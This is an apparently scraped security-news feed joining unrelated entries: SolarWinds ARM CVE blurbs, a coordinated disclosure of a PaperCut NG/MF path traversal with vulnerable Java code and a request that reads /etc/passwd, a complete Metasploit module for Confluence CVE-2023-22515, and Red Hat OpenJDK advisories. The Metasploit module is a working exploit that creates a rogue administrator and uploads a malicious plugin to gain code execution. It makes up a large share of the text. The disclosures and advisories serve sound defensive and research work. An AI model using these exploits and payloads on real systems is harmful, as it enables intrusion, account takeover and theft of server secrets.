The SolarWinds Access Rights Manager was susceptible to a Directory Traversal Remote Code Vulnerability. This vulnerability allows an unauthenticated user to achieve the Remote Code Execution.

CVE-2023-35187

The SolarWinds Access Rights Manager was susceptible to Remote Code Execution Vulnerability. This vulnerability allows authenticated users to abuse SolarWinds ARM API.

CVE-2023-35180

The SolarWinds Access Rights Manager was susceptible to Privilege Escalation Vulnerability. This vulnerability allows authenticated users to abuse local resources to Privilege Escalation.

CVE-2023-35183

A Path Traversal vulnerability exists in PaperCut NG before 22.1.1 and PaperCut MF before 22.1.1. Under specific conditions, this could potentially allow an attacker to achieve read-only access to the server's filesystem.

*   **CVE(s):** CVE-2023–31046
*   **Vendor:** PaperCut
*   **Product:** PaperCut MF/NG
*   **Version(s) affected:** < 22.1.1
*   **Fixed version:** 22.1.1

**Background #**

An Authenticated Arbitrary File Download vulnerability was found in PaperCut NG/MF. PaperCut is a popular Print Management product that’s used globally by over 80,000 organisations. Its application server component is written in Java. The majority of customers run their servers behind firewalls, however a number of larger customers like universities may have it hosted on more open servers. As part of my research I found this vulnerability and I worked with PaperCut Software to report, advise and validate a fix. The latest release of PaperCut NG/MF which can be found at http://www.papercut.com/ has the vulnerability addressed and upgrading is the recommended mitigation.

Arbitrary File Download/Read vulnerabilities can occur when an application allows files to be included in an unsafe way on a local machine, often through Directory Traversal techniques (being the root cause) whereby the application directory structure can be traversed to reach areas not originally intended by the developer.

In the case of PaperCut, the application server defines a servlet that can be accessed, with authentication (testing determined this could be the lowest level of authentication available), allowing for a crafted HTTP request to be sent that retrieves files from the underlying filesystem.

Within the web.xml configuration file for the PaperCut application software, the static-content-files servlet exists to allow for static content to be retrieved / displayed to the user.

    <servlet-mapping>
        <servlet-name>static-content-files</servlet-name>
        <url-pattern>/content/*</url-pattern>
    </servlet-mapping>
    

The affected Java code is available within the getStaticContent() function inside the UIContentResource.class:

      @GET
      @Path("static/{asset:.*}")
      @CacheControlHeader("max-age=600,public")
      public Response getStaticContent(@PathParam("asset") String asset) {
        try {
          File page = getResourceAsFile("/ui/static/" + asset);
          String contentType = MimeTypeUtils.getMimeTypeStringFromFileName(page.getName());
          return Response.ok(page, contentType).build();
        } catch (Exception e) {
          return Response.status(Response.Status.NOT_FOUND).build();
        } 
      }
      
      private File getResourceAsFile(String resourcePath) {
        String docroot = this._servletContext.getRealPath("/");
        return new File(docroot, resourcePath);
      }
    

As shown above within the code-block above, the @PathParam("asset") excerpt refers to the portion of the URL that is controllable by an authenticated user, which can be manipulated without further sanitisation being performed on the input. Once the crafted parameter has been passed into the getResourceAsFile() function, a new file object is created containing the contents of the requested file.

In this case, anything related to the application such as API keys (within /papercut/server/data/), as well as anything accessible on the filesystem such as /etc/passwd, /proc/self/environ can be downloaded by an attacker.

    GET /ui/static/..//..//..//..//..//..//..//etc//passwd HTTP/1.1
    Host: papercut:9192
    Cookie: <..omitted..>
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
    Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://papercut:9192/ui/static
    Sec-Fetch-Dest: font
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Te: trailers
    Connection: close
    

The HTTP response of the above request will contain the requested /etc/passwd file contents.

Depending on the user that the papercut application server is running as, the available files will vary - however at the very minimum files that lie within the papercut application server directories will be disclosed including API secrets (allowing for authenticated API calls to be made).

**Recommendations #**

Mitigations were discussed with the PaperCut Software security team and they’ve provided me with following guidance for inclusion within this public disclosure.

“We feel the best course of action for customers is for them to upgrade to the latest release of PaperCut NG/MF which contains fixes for this issue. We will make this clear through our release notes and our check-for-updates feature. We feel the mitigation put into the code is very effective and a good outcome. It has both a mix of your suggestions and the ideas that our security team came up with. Good security comes through a diversity of thought, and we really wanted to call out this as a great example. It’s been amazing working with you, sharing ideas, on how to address this both efficiently and quickly. Often security CVE reports are very one-way. Your collaboration on both mitigation and validation has been a standout. It really demonstrates the importance of ISVs and Infosec providers working together. This aspect is often understated in security research and uplift.”

**Timeline #**

Here’s a disclosure timeline:

1.  **Initial Attempt to Contact Vendor**
    
    28 March 2023
    
    Contacted the PaperCut Support Team.
    
2.  **Initial Contact with Security Team**
    
    28 March 2023
    
    Received response from PaperCut Support within 20 minutes.
    
3.  **Vulnerability Disclosure Response**
    
    30 March 2023
    
    PaperCut Support advised that several fixes had been proposed and a hotfix was available to test.
    
4.  **Vendor Update**
    
    3 April 2023
    
    Test build of the fix was provided by PaperCut for us to validate proposed fixes.
    
5.  **Vendor Update**
    
    4 April 2023
    
    PaperCut requested 120 day disclosure timeline as well as discussed other security bulletin related information.
    
6.  **Aura Update**
    
    4 April 2023
    
    Confirmed that a delayed disclosure was not a problem at all. Vendor's active responses and development updates were showing considerable thought was being put in place around resolving the issue.
    
7.  **Proposed fixes**
    
    24 April 2023
    
    Further vendor communications around improving the overall effectiveness of proposed fixes.
    
8.  **CVE Assignment: CVE-2023-31046**
    
    24 April 2023
    
    The vendor had requested a CVE on our behalf: CVE-2023-31046.
    
9.  **Patches!**
    
    7 June 2023
    
    Vendor released patches, along with public security bulletin: https://www.papercut.com/kb/Main/SecurityBulletinJune2023.
    
10.  **Public Disclosure**
    
    14 August 2023
    
    CVE disclosure via MITRE and blog posted.
    

**Disclaimer #**

The information in this article is provided for research and educational purposes only. Aura Information Security does not accept any liability in any form for any direct or indirect damages resulting from the use of or reliance on the information contained in this article.

CVE-2023-31046: Authenticated Arbitrary File Download (Path Traversal)

This Metasploit module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for Java objects to be modified at run time. The exploit will create a new administrator user and upload a malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2, 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Retry  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',        'Description' => %q{          This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP          parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for          Java objects to be modified at run time. The exploit will create a new administrator user and upload a          malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,          8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.        },        'License' => MSF_LICENSE,        'Author' => [          'sfewer-r7', # MSF Exploit & Rapid7 Analysis        ],        'References' => [          ['CVE', '2023-22515'],          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],        ],        'DisclosureDate' => '2023-10-04',        'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.        'Targets' => [          [            'Automatic',            {              'Platform' => 'java',              'Arch' => [ARCH_JAVA]            }          ],        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          # Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        # By default Confluence listens for HTTP requests on TCP port 8090.        Opt::RPORT(8090),        # Confluence may have a non default base path, allow user to configure that here.        OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),        # The endpoint we target to trigger the vulnerability.        OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])      ]    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])    )    return CheckCode::Unknown('Connection failed') unless res    # Ensure target is a Confluence server by identifying an expected HTTP header.    return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'    if res.code == 200 && res.body      # Pull out the version string from one of three known locations within the HTML.      m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)      if m.nil?        m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)        if m.nil?          m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)        end      end      unless m.nil?        version = Rex::Version.new(m[1])        ranges = [          ['8.0.0', '8.3.2'],          ['8.4.0', '8.4.2'],          ['8.5.0', '8.5.1']        ]        # If we have a Confluence server within the given version ranges, it appears vulnerable.        ranges.each do |min, max|          if version.between?(Rex::Version.new(min), Rex::Version.new(max))            return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")          end        end        # By here we know we have a confluence server, but the version found indicates it is safe.        return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")      end    end    # By here we have identified a Confluence server, but could not get the version number to determine if it is    # vulnerable of not.    CheckCode::Detected  end  def exploit    target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])    print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")    # 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.    res = send_request_cgi(      'method' => 'POST',      'uri' => target_endpoint,      'vars_post' => {        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'      }    )    unless res&.code == 302 || res&.code == 200      fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")    end    print_status('Creating a new administrator user account...')    # usernames must be lowercase    admin_username = rand_text_alpha_lower(8)    admin_password = rand_text_alphanumeric(8)    # 2. Create a new administrator user account.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),      'headers' => {        'X-Atlassian-Token' => 'no-check'      },      'vars_post' => {        'username' => admin_username,        'fullName' => rand_text_alphanumeric(8),        # The email address does not need to be a valid address, but it must contain an @ character.        'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",        'password' => admin_password,        'confirm' => admin_password,        'setup-next-button' => 'Next'      }    )    unless res&.code == 302 || res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')    end    print_status("Created #{admin_username}:#{admin_password}")    # 3. Force the setup to become completed, to allow normal Confluence operations to continue.    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),      'headers' => {        'X-Atlassian-Token' => 'no-check'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')    end    print_status('Adding a malicious plugin...')    # 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.    res = send_request_cgi(      'method' => 'GET',      # Note, we concatenate '/' as this is required by the endpoint.      'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',      'headers' => {        'Authorization' => basic_auth(admin_username, admin_password),        'Accept' => '*/*'      },      'vars_get' => {        'os_authType' => 'basic'      }    )    unless res&.code == 200      fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')    end    upm_token = res.headers['upm-token']    unless upm_token      fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')    end    begin      payload_endpoint = rand_text_alphanumeric(8)      plugin_key = rand_text_alpha(8)      # 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string      # 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).      jar = payload.encoded_jar(random: true)      jar.add_file(        'atlassian-plugin.xml',        %(<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">  <plugin-info>    <description>#{rand_text_alphanumeric(8)}</description>    <version>#{rand(1024)}.#{rand(1024)}</version>  </plugin-info>  <servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">    <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>  </servlet></atlassian-plugin>)      )      jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))      message = Rex::MIME::Message.new      message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")      # 6. Upload the malicious plugin.      res = send_request_cgi(        'method' => 'POST',        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',        'ctype' => 'multipart/form-data; boundary=' + message.bound,        'headers' => {          'Authorization' => basic_auth(admin_username, admin_password),          'Accept' => '*/*'        },        'vars_get' => {          'token' => upm_token        },        'data' => message.to_s      )      unless res&.code == 202        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')      end      unless res.body =~ %r{<textarea>(.+)</textarea>}        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')      end      begin        plugin_json = JSON.parse(::Regexp.last_match(1))      rescue JSON::ParserError        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')      end      # We receive a JSON object like this:      # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>      links_alternate = plugin_json&.dig('links', 'alternate')      if links_alternate.nil?        fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')      end      print_status('Waiting for plugin to be installed...')      # 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.      plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do        res = send_request_cgi(          'method' => 'GET',          'uri' => normalize_uri(target_uri.path, links_alternate)        )        # We receive a JSON result to indicate if the plugin is finished installing.        # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}        if res&.code == 200          begin            res_json = JSON.parse(res.body)            next res_json['done']          rescue JSON::ParserError            next false          end        end        false      end      unless plugin_ready        fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')      end      print_status('Triggering payload...')      # 8. Trigger the payload by performing a request to the malicious servlet endpoint.      res = send_request_cgi(        'method' => 'GET',        'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)      )      unless res&.code == 200        fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")      end    ensure      print_status('Deleting plugin...')      # 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as      # Confluence doesnt allow a user to delete themself.      res = send_request_cgi(        'method' => 'DELETE',        'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),        'headers' => {          'Authorization' => basic_auth(admin_username, admin_password),          'Connection' => 'close'        }      )      unless res&.code == 204        print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")      end    end  endend

Atlassian Confluence Unauthenticated Remote Code Execution

Red Hat Security Advisory 2023-5761-01 - The java-1.8.0-openjdk packages provide the OpenJDK 8 Java Runtime Environment and the OpenJDK 8 Java Software Development Kit. Issues addressed include a deserialization vulnerability.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5761.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: java-1.8.0-openjdk security updateAdvisory ID:        RHSA-2023:5761-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5761Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-22067====================================================================Summary: An update for java-1.8.0-openjdk is now available for Red Hat Enterprise Linux 7.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The java-1.8.0-openjdk packages provide the OpenJDK 8 Java Runtime Environment and the OpenJDK 8 Java Software Development Kit.Security Fix(es):* OpenJDK: IOR deserialization issue in CORBA (8303384) (CVE-2023-22067)* OpenJDK: certificate path validation issue during client authentication (8309966) (CVE-2023-22081)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* A maximum signature file size property, jdk.jar.maxSignatureFileSize, was introduced in the 11.0.20 release of OpenJDK by JDK-8300596, with a default of 8 MB. This default proved to be too small for some JAR files. This release, 11.0.20.1, increases it to 16 MB. (RHEL-13576)* The /usr/bin/jfr alternative is now owned by the java-1.8.0-openjdk package (RHEL-11319)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-22067References:https://access.redhat.com/security/updates/classification/#moderate

Red Hat Security Advisory 2023-5761-01

Red Hat Security Advisory 2023-5753-01 - The java-17-openjdk packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5753.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: java-17-openjdk security and bug fix updateAdvisory ID:        RHSA-2023:5753-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5753Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-22025====================================================================Summary: An update for java-17-openjdk is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The java-17-openjdk packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.Security Fix(es):* OpenJDK: memory corruption issue on x86_64 with AVX-512 (8317121) (CVE-2023-22025)* OpenJDK: certificate path validation issue during client authentication (8309966) (CVE-2023-22081)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* Additional validity checks in the handling of Zip64 files, JDK-8302483, were introduced in the 17.0.8 release of OpenJDK, causing the use of some valid zip files to now fail with an error. This release, 17.0.9, allows for zero-length headers and additional padding produced by some Zip64 creation tools. With both releases, the checks can be disabled using -Djdk.util.zip.disableZip64ExtraFieldValidation=true. (RHBZ#2237185)* The /usr/bin/jfr alternative is now owned by the java-17-openjdk package (RHEL-13648)* The jcmd tool is now provided by the java-17-openjdk-headless package, rather than java-17-openjdk-devel, to make it more accessible (RHEL-13651)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-22025References:https://access.redhat.com/security/updates/classification/#moderate

Red Hat Security Advisory 2023-5753-01

Red Hat Security Advisory 2023-5752-01 - The java-17-openjdk packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5752.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: java-17-openjdk security and bug fix updateAdvisory ID:        RHSA-2023:5752-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5752Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-22025====================================================================Summary: An update for java-17-openjdk is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The java-17-openjdk packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.Security Fix(es):* OpenJDK: memory corruption issue on x86_64 with AVX-512 (8317121) (CVE-2023-22025)* OpenJDK: certificate path validation issue during client authentication (8309966) (CVE-2023-22081)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* Additional validity checks in the handling of Zip64 files, JDK-8302483, were introduced in the 17.0.8 release of OpenJDK, causing the use of some valid zip files to now fail with an error. This release, 17.0.9, allows for zero-length headers and additional padding produced by some Zip64 creation tools. With both releases, the checks can be disabled using -Djdk.util.zip.disableZip64ExtraFieldValidation=true. (RHBZ#2237186)* A maximum signature file size property, jdk.jar.maxSignatureFileSize, was introduced in the 17.0.8 release of OpenJDK by JDK-8300596, with a default of 8 MB. This default proved to be too small for some JAR files. This release, 17.0.9, increases it to 16 MB.* Installing the same java-17-openjdk-headless package on two different systems resulted in distinct classes.jsa files getting generated. This was because the CDS archive was being generated by a post script action of the java-17-openjdk-headless package. This prevented the use of the dynamic dump feature, as the checksum in the archive would be different on each system. This is resolved in this release by using the .jsa files generated during the initial build. (RHEL-13169)* The /usr/bin/jfr alternative is now owned by the java-17-openjdk package (RHEL-13647)* The jcmd tool is now provided by the java-17-openjdk-headless package, rather than java-17-openjdk-devel, to make it more accessible (RHEL-13650)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-22025References:https://access.redhat.com/security/updates/classification/#moderate

Red Hat Security Advisory 2023-5752-01

Red Hat Security Advisory 2023-5751-01 - The java-17-openjdk packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5751.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: java-17-openjdk security and bug fix updateAdvisory ID:        RHSA-2023:5751-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5751Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-22025====================================================================Summary: An update for java-17-openjdk is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The java-17-openjdk packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.Security Fix(es):* OpenJDK: memory corruption issue on x86_64 with AVX-512 (8317121) (CVE-2023-22025)* OpenJDK: certificate path validation issue during client authentication (8309966) (CVE-2023-22081)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* Additional validity checks in the handling of Zip64 files, JDK-8302483, were introduced in the 17.0.8 release of OpenJDK, causing the use of some valid zip files to now fail with an error. This release, 17.0.9, allows for zero-length headers and additional padding produced by some Zip64 creation tools. With both releases, the checks can be disabled using -Djdk.util.zip.disableZip64ExtraFieldValidation=true. (RHBZ#2237178)* The /usr/bin/jfr alternative is now owned by the java-17-openjdk package (RHEL-13708)* The jcmd tool is now provided by the java-17-openjdk-headless package, rather than java-17-openjdk-devel, to make it more accessible (RHEL-13658)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-22025References:https://access.redhat.com/security/updates/classification/#moderate

Red Hat Security Advisory 2023-5751-01

Red Hat Security Advisory 2023-5750-01 - The java-17-openjdk packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_5750.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: java-17-openjdk security and bug fix updateAdvisory ID:        RHSA-2023:5750-01Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:5750Issue date:         2023-10-18Revision:           01CVE Names:          CVE-2023-22025====================================================================Summary: An update for java-17-openjdk is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The java-17-openjdk packages provide the OpenJDK 17 Java Runtime Environment and the OpenJDK 17 Java Software Development Kit.Security Fix(es):* OpenJDK: memory corruption issue on x86_64 with AVX-512 (8317121) (CVE-2023-22025)* OpenJDK: certificate path validation issue during client authentication (8309966) (CVE-2023-22081)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* Additional validity checks in the handling of Zip64 files, JDK-8302483, were introduced in the 17.0.8 release of OpenJDK, causing the use of some valid zip files to now fail with an error. This release, 17.0.9, allows for zero-length headers and additional padding produced by some Zip64 creation tools. With both releases, the checks can be disabled using -Djdk.util.zip.disableZip64ExtraFieldValidation=true. (RHBZ#2237179)* A maximum signature file size property, jdk.jar.maxSignatureFileSize, was introduced in the 17.0.8 release of OpenJDK by JDK-8300596, with a default of 8 MB. This default proved to be too small for some JAR files. This release, 17.0.9, increases it to 16 MB.* The /usr/bin/jfr alternative is now owned by the java-17-openjdk package (RHEL-13707)* The jcmd tool is now provided by the java-17-openjdk-headless package, rather than java-17-openjdk-devel, to make it more accessible (RHEL-13657)* Installing the same java-17-openjdk-headless package on two different systems resulted in distinct classes.jsa files getting generated. This was because the CDS archive was being generated by a post script action of the java-17-openjdk-headless package. This prevented the use of the dynamic dump feature, as the checksum in the archive would be different on each system. This is resolved in this release by using the .jsa files generated during the initial build. (RHEL-13175)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-22025References:https://access.redhat.com/security/updates/classification/#moderate

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